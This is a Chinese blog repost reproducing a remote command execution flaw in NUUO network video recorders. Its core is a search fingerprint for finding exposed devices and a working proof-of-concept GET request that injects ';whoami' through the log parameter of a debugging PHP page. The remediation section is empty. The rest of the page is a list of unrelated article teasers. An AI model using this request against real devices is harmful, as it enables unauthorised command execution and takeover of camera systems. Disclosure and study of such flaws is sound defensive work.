【漏洞复现】某 NVR 视频存储管理设备远程命令执行

news2025/11/9 11:43:34

漏洞描述

NUUO NVR是中国台湾NUUO公司旗下的一款网络视频记录器，该设备存在远程命令执行漏洞，攻击者可利用该漏洞执行任意命令，进而获取服务器的权限。
在这里插入图片描述

免责声明

技术文章仅供参考，任何个人和组织使用网络应当遵守宪法法律，遵守公共秩序，尊重社会公德，不得利用网络从事危害国家安全、荣誉和利益，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。本文所提供的工具仅用于学习，禁止用于其他！！

资产确定

title="Network Video Recorder Login"

漏洞复现

1.利用GET请求如下POC执行whoami命令得到回显

http://{{Hostname}}/__debugging_center_utils___.php?log=;whoami

在这里插入图片描述

修复方案

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/1072628.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

简单对比一下 C 与 Go 两种语言

简单对比一下 C 与 Go 两种语言

使用一个简单的计数程序将古老的 C 语言与现代 Go 进行比较。 Go 是一种现代编程语言，追溯其历史大部分源自编程语言 C。所以，任何熟悉 C 语言的开发者都可能会觉得 Go 很熟悉。C 程序员使用 Go 编写新程序变得容易，同时避免了 C 编程语言的…
阅读更多...
安全典型配置（一）使用ACL限制FTP访问权限案例

安全典型配置（一）使用ACL限制FTP访问权限案例

【微|信|公|众|号：厦门微思网络】 使用ACL限制FTP访问权限案例 ACL简介 访问控制列表ACL（Access Control List）是由一条或多条规则组成的集合。所谓规则，是指描述报文匹配条件的判断语句，这些条件可以是报文的源地址…
阅读更多...
申请免费 SSL 证书为您的小程序加密通信

申请免费 SSL 证书为您的小程序加密通信

在今天的网络环境中，数据安全和隐私保护变得尤为重要。无论是网站还是应用程序，为其提供安全的通信渠道都是至关重要的。对于小程序开发者来说，使用 SSL（Secure Sockets Layer）证书可以有效地保障用户数据的安全&#…
阅读更多...
[架构之路-235]：目标系统 - 纵向分层 - 数据库 - 数据库系统基础与概述（快速入门、了解核心概念）：概念模型、逻辑模型、物理模型

[架构之路-235]：目标系统 - 纵向分层 - 数据库 - 数据库系统基础与概述（快速入门、了解核心概念）：概念模型、逻辑模型、物理模型

目录 一、核心概念 1.1 什么是数据与信息 1.2 数据与数据库的关系 1.3 什么是数据库 1.4 数据库中的数据的特点 1.5 数据库与数据结构的关系 1.6 什么是数据库管理系统 1.7 什么是数据库系统 1.8 数据库的主要功能 1.9 Excel表格是数据库吗？ 1.10 Excel表…
阅读更多...
Asymmetric channel bandwidths(非对称信道带宽)

Asymmetric channel bandwidths(非对称信道带宽)

一人问：“你知道非对称信道带宽，XXX支持吗？”一人答：“我打开XXX的RF应答表看看”。 我默默打开了38.306搜了一下，简单研究了下。 在R15 中，为某些NR band引入了asymmetric Bandwidth UL/DL，以优…
阅读更多...
Python机器学习实战-特征重要性分析方法（9）：卡方检验（附源码和实现效果）

Python机器学习实战-特征重要性分析方法（9）：卡方检验（附源码和实现效果）

实现功能 使用chi2()获得每个特征的卡方统计信息。得分越高的特征越有可能独立于目标。 实现代码 from sklearn.feature_selection import chi2 import pandas as pd from sklearn.datasets import load_breast_cancer import matplotlib.pyplot as pltX, y load_breast_ca…
阅读更多...
深入浅出的介绍一下虚拟机VMware Workstation——part2(详细安装与使用)

深入浅出的介绍一下虚拟机VMware Workstation——part2(详细安装与使用)

目录 虚拟机概念虚拟机软件安装准备点击创建新的虚拟机：选择要安装的系统镜像文件（.iso文件，自己网上找，比如win10的win11的或者mac的系统镜像）选择与iso文件对应的系统设置虚拟机名称和位置设置虚拟机基础信息 VMware…
阅读更多...
计算机组成与设计的一些概念扫盲

计算机组成与设计的一些概念扫盲

一、术语 超标量架构 早期的单发射架构微处理器的流水线设计目标是做到平均每个时钟周期能执行一条指令，但这一目标不能满足提高处理器性能的要求。为了提高处理器的性能，处理器要具有每个时钟周期发射执行多条指令的能力。超标量体系结构可描述一种微处…
阅读更多...
discuz封面设置失败的解决办法(centos系统+windows系统）

discuz封面设置失败的解决办法(centos系统+windows系统）

discuz封面设置失败的解决办法(centos系统windows系统） centos系统：1、开启/var/www/html 这个目录的读写权限chmod -R 777 /var/www/html然后重启httpd：service httpd restart如果discuz论坛发布帖子，还是显示封面设置失败的话…
阅读更多...
整理笔记——射频基础知识

整理笔记——射频基础知识

一、什么是射频 射频（RF），表示可以辐射到空间的电磁频率，频率范围从300kHz～300GHz之间。每秒变化小于1000次的交流电称为低频电流，大于10000次的交流电称为高频电流，射频就是高频交流变化的电磁…
阅读更多...
vue，mixins混入

vue，mixins混入

痛点：当我们的项目越来越庞大，项目中的某些组件之间可能会存在一些相似的功能，这就导致了在各个组件中需要编写功能相同的代码段，重复地定义这些相同的属性和方法，导致代码地冗余，还不利于后期代码的维护。…
阅读更多...
【芯片设计- RTL 数字逻辑设计入门 5 -- RTL 全加器实现及验证】

【芯片设计- RTL 数字逻辑设计入门 5 -- RTL 全加器实现及验证】

文章目录 1.11.1.1 DUT Code1.1.2 Testbench1.1.3 自动化编译:Makefile1.1.4 Debug 方法 1.2 逻辑综合工具 - Design Compile1.2.1 逻辑综合流程1.2.2 逻辑综合方法 1.1 1.1.1 DUT Code 以实现一个全加器为例子, 功能 真值表 验证 功能完整性穷举法代码覆盖率 lab01 编译仿…
阅读更多...
哈希应用 ： 位图和布隆过滤器

哈希应用 ： 位图和布隆过滤器

位图 在这里我们可以用一种哈希的新方法 -- 又快又节省内存（位图） -------------------------------------------------------------------------------------------------------------------------------- 对我们的位进行标记 位图的应用 1.给定100亿…
阅读更多...
SVV，PPV算法开发记录

SVV，PPV算法开发记录

定义 刘大为-血液动力学 Getinge 链接：高级监测参数: SVV, PPV 数据集 计算SVV和PPV使用的动脉血压曲线，在此选用了Kaggle上的Cuff-Less Blood Pressure Estimation数据集，该数据集包含PPG，ABP，ECG三条曲线&…
阅读更多...
Godot 脚本外置参数设置

Godot 脚本外置参数设置

文章目录 添加脚本设置参数bulid 一下 Godot Engine 4.2 简体中文文档 C# exports 添加脚本 设置参数 Godot 添加脚本后，设置参数。两种形式都可以 [Export]public int Speed { get; set; } 10;[Export]public string Name ;bulid 一下 私有变量也可以
阅读更多...
【网络安全 ---- 靶场搭建】凡诺企业网站管理系统靶场详细搭建过程（asp网站，练习sql注入）

【网络安全 ---- 靶场搭建】凡诺企业网站管理系统靶场详细搭建过程（asp网站，练习sql注入）

一，资源下载 百度网盘资源下载链接：百度网盘 请输入提取码百度网盘为您提供文件的网络备份、同步和分享服务。空间大、速度快、安全稳固，支持教育网加速，支持手机端。注册使用百度网盘即可享受免费存储空间https://pan.baidu.com…
阅读更多...
Flink---14、Flink SQL（SQL-Client准备、流处理中的表、时间属性、DDL）

Flink---14、Flink SQL（SQL-Client准备、流处理中的表、时间属性、DDL）

星光下的赶路人star的个人主页 你生而真实，而非完美 文章目录 1、Flink SQL1.1 SQL-Client准备1.1.1 基于yarn-session模式1.1.2 常用配置 1.2 流处理中的表1.2.1 动态表和持续查询1.2.2 将流转换为动态表1.2.3 用SQL持续查询1.2.4 将动态表转换为流 1.3 时间属性1.…
阅读更多...
影剧院音乐厅微信小程序源码

影剧院音乐厅微信小程序源码

音乐厅小程序，包括资讯动态，演出信息，艺术教育，经典 剧目，商务合作，关于我们，公益演出预约，商业演出预约，演出日历，我的今日预约，我的预约码&…
阅读更多...
TypeScript 笔记：基础类型

TypeScript 笔记：基础类型

1 any类型（任意值类型） 声明为 any 的变量可以赋予任意类型的值。 any类型是Typescript 针对编程时类型不明确的变量使用的一种数据类型，常用于: 变量的值会动态改变 ——>任意值类型可以让这些变量跳过编译阶段的类型检查 let x: any …
阅读更多...
顺序栈与链式栈

顺序栈与链式栈

目录 栈的定义与结构 栈的实现 顺序栈的实现 初始化空栈 销毁栈 压栈 获取栈顶元素 出栈 判断栈是否为空 获取栈中有效数据的个数 链式栈的实现 初始化空栈 销毁栈 压栈 获取栈顶元素 出栈 判断栈是否为空 获取栈中有效数据的个数 顺序栈与链栈的对比 栈的定义…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023